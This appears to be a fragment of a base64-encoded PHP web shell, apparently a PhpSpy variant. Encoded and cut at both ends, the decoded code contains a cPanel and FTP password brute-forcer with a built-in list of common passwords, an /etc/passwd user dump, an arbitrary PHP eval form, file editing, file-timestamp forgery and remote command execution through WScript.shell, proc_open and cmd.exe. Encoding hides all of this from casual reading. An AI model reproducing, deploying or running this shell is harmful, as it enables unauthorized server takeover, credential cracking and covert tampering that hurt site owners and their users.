ZGlyJywkYnJ1dGUpOw0KQGluaV9zZXQoJ21lbW9yeV9saW1pdCcsIDEwMDAwMDAwMDAwMDApOw0KJGNvbm5lY3RfdGltZW91dD01Ow0KQHNldF90aW1lX2xpbWl0KDApOw0KJHN1Ym1pdCA9ICRfUkVRVUVTVFsnc3VibWl0J107DQokdXNlcnMgPSAkX1JFUVVFU1RbJ3VzZXJzJ107DQokcGFzcyA9ICRfUkVRVUVTVFsncGFzc3dvcmRzJ107DQokdGFyZ2V0ID0gJF9SRVFVRVNUWyd0YXJnZXQnXTsNCiRvcHRpb24gPSAkX1JFUVVFU1RbJ29wdGlvbiddOw0KDQoNCiRwYXNzbGlzdCA9ICIwMTIzNDU2DQowMTIzNDU2Nw0KMDEyMzQ1Njc4DQowMTIzNDU2Nzg5DQowMTIzNDU2Nzg5MA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KNDU2NDU2DQo3ODk3ODkNCjEyMzMyMQ0KNDU2NjU0DQo2NTQzMjENCjc2NTQzMjENCjg3NjU0MzIxDQo5ODc2NTQzMjENCjA5ODc2NTQzMjENCmFkbWluDQphZG1pbmlzdHJhdG9yDQphZG1pbmNwDQpjcGFuZWwNCmFkbWlueA0KYWRtaW5zDQpwYXNzd29yZA0KcGFzc3dvcmRzDQpwYXNzdzByZA0KcEBzc3cwcmQNCnBAc3N3b3JkDQpraG9uZ2NvDQoyNTI1MTMyNQ0KcGFzc3cwcmRzIjsNCmlmKCR0YXJnZXQgPT0gJycpew0KJHRhcmdldCA9ICdsb2NhbGhvc3QnOw0KfQ0KcHJpbnQgIiA8ZGl2IGFsaWduPSdjZW50ZXInPg0KPGZvcm0gbWV0aG9kPSdwb3N0JyBzdHlsZT0nYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMCc+PGJyPjxicj4NCjxUQUJMRSBzdHlsZT0nQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZScgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9Izk2NjExNyBjZWxsUGFkZGluZz01IHdpZHRoPSc0MCUnIGJnQ29sb3I9IzMwMzAzMCBib3JkZXJDb2xvckxpZ2h0PSM5NjYxMTcgYm9yZGVyPTE+PHRyPjx0ZD4NCjxiPiBUYXJnZXQgIDogPC9mb250PjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0YXJnZXQnIHNpemU9JzE2JyB2YWx1ZT0gJHRhcmdldCBzdHlsZT0nYm9yZGVyOiBmb250LWZhbWlseTpjb21pYyBzYW5zIG1zOyBmb250LXdlaWdodDpib2xkOyc+PC9wPjwvZm9udD48L2I+PC9wPg0KPGRpdiBhbGlnbj0nY2VudGVyJz48YnI+DQo8VEFCTEUgc3R5bGU9J0JPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UnIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM5NjYxMTcgY2VsbFBhZGRpbmc9NSB3aWR0aD0nNTAlJyBiZ0NvbG9yPSMzMDMwMzAgYm9yZGVyQ29sb3JMaWdodD0jOTY2MTE3IGJvcmRlcj0xPg0KPHRyPg0KPHRkIGFsaWduPSdjZW50ZXInPg0KPGI+VXNlcm5hbWU8L2I+PC90ZD4NCjx0ZD4NCjxwIGFsaWduPSdjZW50ZXInPg0KPGI+UGFzc3dvcmQ8L2I+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPHAgYWxpZ249J2NlbnRlcic+DQo8dGV4dGFyZWEgcm93cz0nMjAnIG5hbWU9J3VzZXJzJyBjb2xzPScyNScgc3R5bGU9J2JvcmRlcjogMnB4IHNvbGlkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAnPiI7DQokaSA9IDA7DQp3aGlsZSAoJGkgPCA2MDAwMCkgew0KDQogICAgJGxpbmUgPSBwb3NpeF9nZXRwd3VpZCgkaSk7DQogICAgaWYgKCFlbXB0eSgkbGluZSkpIHsNCg0KICAgICAgICB3aGlsZSAobGlzdCAoJGtleSwgJHZiYV9ldGNwd2QpID0gZWFjaCgkbGluZSkpew0KICAgICAgICAgICAgZWNobyAiIi4kdmJhX2V0Y3B3ZC4iXG4iOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgJGkrKzsNCn0NCmVjaG8gIg0KPC90ZXh0YXJlYT4NCjx0ZXh0YXJlYSByb3dzPScyMCcgbmFtZT0ncGFzc3dvcmRzJyBjb2xzPScyNScgc3R5bGU9J2JvcmRlcjogMnB4IHNvbGlkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAnPiRwYXNzbGlzdDwvdGV4dGFyZWE+PGJyPg0KPGJyPg0KPGI+T3B0aW9ucyA6IDwvc3Bhbj48aW5wdXQgbmFtZT0nb3B0aW9uJyB2YWx1ZT0nY3BhbmVsJyBzdHlsZT0nZm9udC13ZWlnaHQ6IDcwMDsnIGNoZWNrZWQgdHlwZT0ncmFkaW8nPiBjUGFuZWwNCjxpbnB1dCBuYW1lPSdvcHRpb24nIHZhbHVlPSdmdHAnIHN0eWxlPSdmb250LXdlaWdodDogNzAwOycgdHlwZT0ncmFkaW8nPiBmdHAgPT0+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdBdHRhY2snIG5hbWU9J3N1Ym1pdCcgPjwvcD4NCjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+PC90cj48L2Zvcm0+PHAgYWxpZ249ICdsZWZ0Jz4iOw0KPz4NCjw/cGhwDQpmdW5jdGlvbiBmdHBfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpew0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiZnRwOi8vJGhvc3QiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GVFBMSVNUT05MWSwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7DQpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOw0KJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsNCmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkgew0KDQpwcmludCAiPGI+IEVycm9yIDogQ29ubmVjdGlvbiB0aW1lZCBvdXQgLCBtYWtlIGNvbmZpZGVuY2UgYWJvdXQgdmFsaWRhdGlvbiBvZiB0YXJnZXQgITwvYj4iOw0KZXhpdDt9DQoNCmVsc2VpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAwICl7DQoNCnAoIjxiPiBzdWJtaXRbYXRdMTMzN2RheS5jb20gIyA8L2I+DQo8Yj4gQXR0YWNraW5nIGhhcyBiZWVuIGRvbmUhIFVzZXJuYW1lOiA8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+ICR1c2VyIDwvZm9udD4gLyBQYXNzd29yZDo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+ICRwYXNzIDwvZm9udD4gPT4gPGEgaHJlZj1odHRwOi8vJHVzZXI6JHBhc3NAJGhvc3Q6MjA4MiB0YXJnZXQ9X2JsYW5rPkxvZ2luPC9hPjwvYj48YnI+Iik7DQp9DQpjdXJsX2Nsb3NlKCRjaCk7fQ0KDQpmdW5jdGlvbiBjcGFuZWxfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpew0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cDovLyRob3N0OjIwODIiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTsNCmN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsICR0aW1lb3V0KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7DQokZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMjggKSB7DQpwcmludCAiPGI+IEVycm9yIDogQ29ubmVjdGlvbiB0aW1lZCBvdXQgLCBtYWtlIGNvbmZpZGVuY2UgYWJvdXQgdmFsaWRhdGlvbiBvZiB0YXJnZXQgITwvYj4iOw0KZXhpdDt9DQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApew0KDQpwKCI8Yj4gc3VibWl0W2F0XTEzMzdkYXkuY29tICMgPC9iPjxiPkF0dGFja2luZyBoYXMgYmVlbiBkb25lITwvYT4gVXNlcm5hbWU6IDxmb250IGNvbG9yPScjRkYwMDAwJz4gJHVzZXIgPC9mb250PiAvIFBhc3N3b3JkOjxmb250IGNvbG9yPScjRkYwMDAwJz4gJHBhc3MgPC9mb250PjwvYj48YnI+Iik7fWN1cmxfY2xvc2UoJGNoKTt9DQoNCmlmKGlzc2V0KCRzdWJtaXQpICYmICFlbXB0eSgkc3VibWl0KSl7DQoNCiR1c2VybGlzdCA9IGV4cGxvZGUgKCJcbiIgLCAkdXNlcnMgKTsNCiRwYXNzbGlzdCA9IGV4cGxvZGUgKCJcbiIgLCAkcGFzcyApOw0KcCgnPGI+c3VibWl0W2F0XTEzMzdkYXkuY29tICMgQXR0YWNraW5nIC4uLjwvZm9udD48L2I+PGJyPicpOw0KZm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSB7DQokX3VzZXIgPSB0cmltKCR1c2VyKTsNCmZvcmVhY2ggKCRwYXNzbGlzdCBhcyAkcGFzc3dvcmQgKSB7DQokX3Bhc3MgPSB0cmltKCRwYXNzd29yZCk7DQppZigkb3B0aW9uID09ICJmdHAiKXsNCmZ0cF9jaGVjaygkdGFyZ2V0LCRfdXNlciwkX3Bhc3MsJGNvbm5lY3RfdGltZW91dCk7DQp9DQppZiAoJG9wdGlvbiA9PSAiY3BhbmVsIikNCnsNCmNwYW5lbF9jaGVjaygkdGFyZ2V0LCRfdXNlciwkX3Bhc3MsJGNvbm5lY3RfdGltZW91dCk7DQp9DQp9DQp9DQp9DQoNCglmb3JtZm9vdCgpOw0KfQ0KDQoNCg0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdldGNwd2QnKSB7DQpmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nR2V0IC9ldGMvcGFzc3dkJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdldGNwd2QnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQokaSA9IDA7DQogZWNobyAiPHA+PGJyPjx0ZXh0YXJlYSBjbGFzcz1cImFyZWFcIiBpZD1cInBocGNvZGV4eHhcIiBuYW1lPVwicGhwY29kZXh4eFwiIGNvbHM9XCIxMDBcIiByb3dzPVwiMjVcIj4iOw0Kd2hpbGUgKCRpIDwgNjAwMDApIHsNCg0KICAgICRsaW5lID0gcG9zaXhfZ2V0cHd1aWQoJGkpOw0KICAgIGlmICghZW1wdHkoJGxpbmUpKSB7DQoNCiAgICAgICAgd2hpbGUgKGxpc3QgKCRrZXksICR2YmFfZXRjcHdkKSA9IGVhY2goJGxpbmUpKXsNCiAgICAgICAgICAgIGVjaG8gIiIuJHZiYV9ldGNwd2QuIlxuIjsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQoNCiAgICB9DQoNCiAgICRpKys7DQp9DQogIGVjaG8gIjwvdGV4dGFyZWE+PC9wPiI7DQoJZm9ybWZvb3QoKTsNCn0NCg0KZWxzZWlmICgkYWN0aW9uID09ICdldmFsJykgew0KCSRwaHBjb2RlID0gdHJpbSgkcGhwY29kZSk7DQoJaWYoJHBocGNvZGUpew0KCQlpZiAoIXByZWdfbWF0Y2goJyM8XD8jc2knLCAkcGhwY29kZSkpIHsNCgkJCSRwaHBjb2RlID0gIjw/cGhwXG5cbnskcGhwY29kZX1cblxuPz4iOw0KCQl9DQoJCWV2YWwoIj8iLiI+JHBocGNvZGU8PyIpOw0KCX0NCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXZhbCBQSFAgQ29kZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZXZhbCcpOw0KCW1ha2V0ZXh0KGFycmF5KCd0aXRsZSc9PidQSFAgQ29kZScsJ25hbWUnPT4ncGhwY29kZScsICd2YWx1ZSc9PiRwaHBjb2RlKSk7DQoJcCgnPHA+PGEgaHJlZj0iaHR0cDovL3d3dy40bmdlbC5uZXQvcGhwc3B5L3BsdWdpbi8iIHRhcmdldD0iX2JsYW5rIj5HZXQgcGx1Z2luczwvYT48L3A+Jyk7DQoJZm9ybWZvb3RlcigpOw0KfS8vZW5kIGV2YWwNCg0KZWxzZWlmICgkYWN0aW9uID09ICdlZGl0ZmlsZScpIHsNCglpZihmaWxlX2V4aXN0cygkb3BmaWxlKSkgew0KCQkkZnA9QGZvcGVuKCRvcGZpbGUsJ3InKTsNCgkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRvcGZpbGUpKTsNCgkJQGZjbG9zZSgkZnApOw0KCQkkY29udGVudHM9aHRtbHNwZWNpYWxjaGFycygkY29udGVudHMpOw0KCX0NCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQ3JlYXRlIC8gRWRpdCBGaWxlJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nJywnbmFtZSc9PidlZGl0ZmlsZW5hbWUnLCd2YWx1ZSc9PiRvcGZpbGUsJ25ld2xpbmUnPT4xKSk7DQoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J0ZpbGUgQ29udGVudCcsJ25hbWUnPT4nZmlsZWNvbnRlbnQnLCd2YWx1ZSc9PiRjb250ZW50cykpOw0KCWZvcm1mb290ZXIoKTsNCn0vL2VuZCBlZGl0ZmlsZQ0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ25ld3RpbWUnKSB7DQoJJG9wZmlsZW10aW1lID0gQGZpbGVtdGltZSgkb3BmaWxlKTsNCgkvLyR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjokbWludXRlOiRzZWNvbmQiKTsNCgkkY2FjaGVtb250aCA9IGFycmF5KCdKYW51YXJ5Jz0+MSwnRmVicnVhcnknPT4yLCdNYXJjaCc9PjMsJ0FwcmlsJz0+NCwnTWF5Jz0+NSwnSnVuZSc9PjYsJ0p1bHknPT43LCdBdWd1c3QnPT44LCdTZXB0ZW1iZXInPT45LCdPY3RvYmVyJz0+MTAsJ05vdmVtYmVyJz0+MTEsJ0RlY2VtYmVyJz0+MTIpOw0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PicnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidBbHRlciBmaWxlJywnbmFtZSc9PidjdXJmaWxlJywndmFsdWUnPT4kb3BmaWxlLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUmVmZXJlbmNlIGZpbGUgKGZ1bGxwYXRoKScsJ25hbWUnPT4ndGFyZmlsZScsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7DQoJZm9ybWZvb3RlcigpOw0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTZXQgbGFzdCBtMGRpZmllZCcpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgZmlsZSAoZnVsbHBhdGgpJywnbmFtZSc9PidjdXJmaWxlJywndmFsdWUnPT4kb3BmaWxlLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOw0KCXAoJzxwPkluc3RlYWQgJnJhcXVvOycpOw0KCXAoJ3llYXI6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3llYXInLCd2YWx1ZSc9PmRhdGUoJ1knLCRvcGZpbGVtdGltZSksJ3NpemUnPT40KSk7DQoJcCgnbW9udGg6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21vbnRoJywndmFsdWUnPT5kYXRlKCdtJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJ2RheTonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGF5JywndmFsdWUnPT5kYXRlKCdkJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJ2hvdXI6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2hvdXInLCd2YWx1ZSc9PmRhdGUoJ0gnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoJcCgnbWludXRlOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidtaW51dGUnLCd2YWx1ZSc9PmRhdGUoJ2knLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoJcCgnc2Vjb25kOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzZWNvbmQnLCd2YWx1ZSc9PmRhdGUoJ3MnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290ZXIoKTsNCn0vL2VuZCBuZXd0aW1lDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnc2hlbGwnKSB7DQoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsNCgkJaWYoJHByb2dyYW0gJiYgJHBhcmFtZXRlcikgew0KCQkJJHNoZWxsPSBuZXcgQ09NKCdTaGVsbC5BcHBsaWNhdGlvbicpOw0KCQkJJGEgPSAkc2hlbGwtPlNoZWxsRXhlY3V0ZSgkcHJvZ3JhbSwkcGFyYW1ldGVyKTsNCgkJCW0oJ1Byb2dyYW0gcnVuIGhhcyAnLighJGEgPyAnc3VjY2VzcycgOiAnZmFpbCcpKTsNCgkJfQ0KCQkhJHByb2dyYW0gJiYgJHByb2dyYW0gPSAnYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJzsNCgkJISRwYXJhbWV0ZXIgJiYgJHBhcmFtZXRlciA9ICcvYyBuZXQgc3RhcnQgPiAnLlNBX1JPT1QuJ2xvZy50eHQnOw0KCQlmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXhlY3V0ZSBQcm9ncmFtJykpOw0KCQltYWtlaGlkZSgnYWN0aW9uJywnc2hlbGwnKTsNCgkJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQcm9ncmFtJywnbmFtZSc9Pidwcm9ncmFtJywndmFsdWUnPT4kcHJvZ3JhbSwnbmV3bGluZSc9PjEpKTsNCgkJcCgnPHA+Jyk7DQoJCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGFyYW1ldGVyJywnbmFtZSc9PidwYXJhbWV0ZXInLCd2YWx1ZSc9PiRwYXJhbWV0ZXIpKTsNCgkJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOw0KCQlwKCc8L3A+Jyk7DQoJCWZvcm1mb290KCk7DQoJfQ0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDMG1tYW5kIFNoZWxsJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzaGVsbCcpOw0KCWlmIChJU19XSU4gJiYgSVNfQ09NKSB7DQoJCSRleGVjZnVuY2RiID0gYXJyYXkoJ3BocGZ1bmMnPT4ncGhwZnVuYycsJ3dzY3JpcHQnPT4nd3NjcmlwdCcsJ3Byb2Nfb3Blbic9Pidwcm9jX29wZW4nKTsNCgkJbWFrZXNlbGVjdChhcnJheSgndGl0bGUnPT4nVXNlOicsJ25hbWUnPT4nZXhlY2Z1bmMnLCdvcHRpb24nPT4kZXhlY2Z1bmNkYiwnc2VsZWN0ZWQnPT4kZXhlY2Z1bmMsJ25ld2xpbmUnPT4xKSk7DQoJfQ0KCXAoJzxwPicpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQzBtbWFuZCcsJ25hbWUnPT4nY29tbWFuZCcsJ3ZhbHVlJz0+JGNvbW1hbmQpKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J2VYM2N1VDMnKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290KCk7DQoNCglpZiAoJGNvbW1hbmQpIHsNCgkJcCgnPGhyIHdpZHRoPSIxMDAlIiBub3NoYWRlIC8+PHByZT4nKTsNCgkJaWYgKCRleGVjZnVuYz09J3dzY3JpcHQnICYmIElTX1dJTiAmJiBJU19DT00pIHsNCgkJCSR3c2ggPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7DQoJCQkkZXhlYyA9ICR3c2gtPmV4ZWMoJ2NtZC5leGUgL2MgJy4kY29tbWFuZCk7DQoJCQkkc3Rkb3V0ID0gJGV4ZWMtPlN0ZE91dCgpOw0KCQkJJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsNCgkJCWVjaG8gJHN0cm91dHB1dDsNCgkJfSBlbHNlaWYgKCRleGVjZnVuYz09J3Byb2Nfb3BlbicgJiYgSVNfV0lOICYmIElTX0NPTSkgew0KCQkJJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoDQoJCQkgICAwID0+IGFycmF5KCdwaXBlJywgJ3InKSwNCgkJCSAgIDEgPT4gYXJyYXkoJ3BpcGUnLCAndycpLA0KCQkJICAgMiA9PiBhcnJheSgncGlwZScsICd3JykNCgkJCSk7DQoJCQkkcHJvY2VzcyA9IHByb2Nfb3BlbigkX1NFUlZFUlsnQ09NU1BFQyddLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQoJCQlpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7DQoJCQkJZndyaXRlKCRwaXBlc1swXSwgJGNvbW1hbmQuIlxyXG4iKTsNCgkJCQlmd3JpdGUoJHBpcGVzWzBdLCAiZXhpdFxyXG4iKTsNCgkJCQlmY2xvc2UoJHBpcGVzWzBdKTsNCgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzFdKSkgew0KCQkJCQllY2hvIGZnZXRzKCRwaXBlc1sxXSwgMTAyNCk7DQoJCQkJfQ0KCQkJCWZjbG9zZSgkcGlwZXNbMV0pOw0KCQkJCXdoaWxlICghZmVvZigkcGlwZXNbMl0pKSB7DQoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzJdLCAxMDI0KTsNCgkJCQl9DQoJCQkJZmNsb3NlKCRwaXBlc1syXSk7DQoJCQkJcHJvY19jbG9zZSgkcHJvY2Vzcyk7DQoJCQl9DQoJCX0gZWxzZSB7DQoJCQllY2hvKGV4ZWN1dGUoJGNvbW1hbmQpKTsNCgkJfQ0KCQlwKCc8L3ByZT4nKTsNCgl9DQp9Ly9lbmQgc2hlbGwNCg0KZWxzZWlmICgkYWN0aW9uID09ICdwaHBlbnYnKSB7DQoJJHVwc2l6ZT1nZXRjZmcoJ2ZpbGVfdXBsb2FkcycpID8gZ2V0Y2ZnKCd1cGxvYWRfbWF4X2ZpbGVzaXplJykgOiAnTm90IGFsbG93ZWQnOw0KCSRhZG1pbm1haWw9aXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddKSA/ICRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSA6IGdldGNmZygnc2VuZG1haWxfZnJvbScpOw0KCSEkZGlzX2Z1bmMgJiYgJGRpc19mdW5jID0gJ05vJzsNCgkkaW5mbyA9IGFycmF5KA0KCQkxID0+IGFycmF5KCdTM3JWM3IgVGltMycsZGF0ZSgnWS9tL2QgaDppOnMnLCR0aW1lc3RhbXApKSwNCgkJMiA9PiBhcnJheSgnUzNyVjNyIEQwbWFpTicsJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLA0KCQkzID0+IGFycmF5KCdTM3JWM3IgSVAnLGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSwNCgkJNCA9PiBhcnJheSgnUzNyVjNyIDBTJyxQSFBfT1MpLA0KCQk1ID0+IGFycmF5KCdTZXJ2ZXIgMFMgQ2hhclMzdCcsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLA0KCQk2ID0+IGFycmF5KCdTM3JWM3IgUzBmdFdhcjMnLCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSksDQoJCTcgPT4gYXJyYXkoJ1MzclYzciBXM2IgUDBydCcsJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pLA0KCQk4ID0+IGFycmF5KCdwSHAgbTBkMycsc3RydG91cHBlcihwaHBfc2FwaV9uYW1lKCkpKSwNCgkJOSA9PiBhcnJheSgnUGF0SCcsX19GSUxFX18pLA0KDQoJKTsNCg0KCWlmKCRwaHB2YXJuYW1lKSB7DQoJCW0oJHBocHZhcm5hbWUgLicgOiAnLmdldGNmZygkcGhwdmFybmFtZSkpOw0KCX0NCg0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTM3JWM3IgSW5mMHJtYXRpME4nKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3BocGVudicpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUEhQIGNvbmZpZ3VyYXRpb24gSGVyZScsJ25hbWUnPT4ncGhwdmFybmFtZScsJ3ZhbHVlJz0+JHBocHZhcm5hbWUsJ25ld2xpbmUnPT4xKSk7DQoJZm9ybWZvb3RlcigpOw0KDQoJJGhwID0gYXJyYXkoMD0+ICdTM3JWM3InLCAxPT4gJ1BIUCcpOw0KCWZvcigkYT0wOyRhPDI7JGErKykgew0KCQlwKCc8aDI+Jy4kaHBbJGFdLicgJnJhcXVvOzwvaDI+Jyk7DQoJCXAoJzx1bCBjbGFzcz0iaW5mbyI+Jyk7DQoJCWlmICgkYT09MCkgew0KCQkJZm9yKCRpPTE7JGk8PTk7JGkrKykgew0KCQkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsNCgkJCX0NCgkJfSBlbHNlaWYgKCRhID09IDEpIHsNCgkJCWZvcigkaT0xMDskaTw9MjM7JGkrKykgew0KCQkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsNCgkJCX0NCgkJfQ0KCQlwKCc8L3VsPicpOw0KCX0NCn0vL2VuZCBwaHBlbnYNCg0KZWxzZSB7DQoJbSgnVW5kZWZpbmVkIEFjdGlvbicpOw0KfQ0KDQo/Pg0KPC90ZD48L3RyPjwvdGFibGU+DQoNCjwvYm9keT4NCjwvaHRtbD4NCg0KPD9waHANCg0KLyo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NClNob3cgaW5mbyBzaGVsbA0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8NCg0KZnVuY3Rpb24gbSgkbXNnKSB7DQoJZWNobyAnPGRpdiBzdHlsZT0iYmFja2dyb3VuZDojZjFmMWYxO2JvcmRlcjoxcHggc29saWQgI2RkZDtwYWRkaW5nOjE1cHg7Zm9udDoxNHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtd2VpZ2h0OmJvbGQ7Ij4nOw0KCWVjaG8gJG1zZzsNCgllY2hvICc8L2Rpdj4nOw0KfQ0KZnVuY3Rpb24gc2Nvb2tpZSgka2V5LCAkdmFsdWUsICRsaWZlID0gMCwgJHByZWZpeCA9IDEpIHsNCglnbG9iYWwgJGFkbWluLCAkdGltZXN0YW1wLCAkX1NFUlZFUjsNCgkka2V5ID0gKCRwcmVma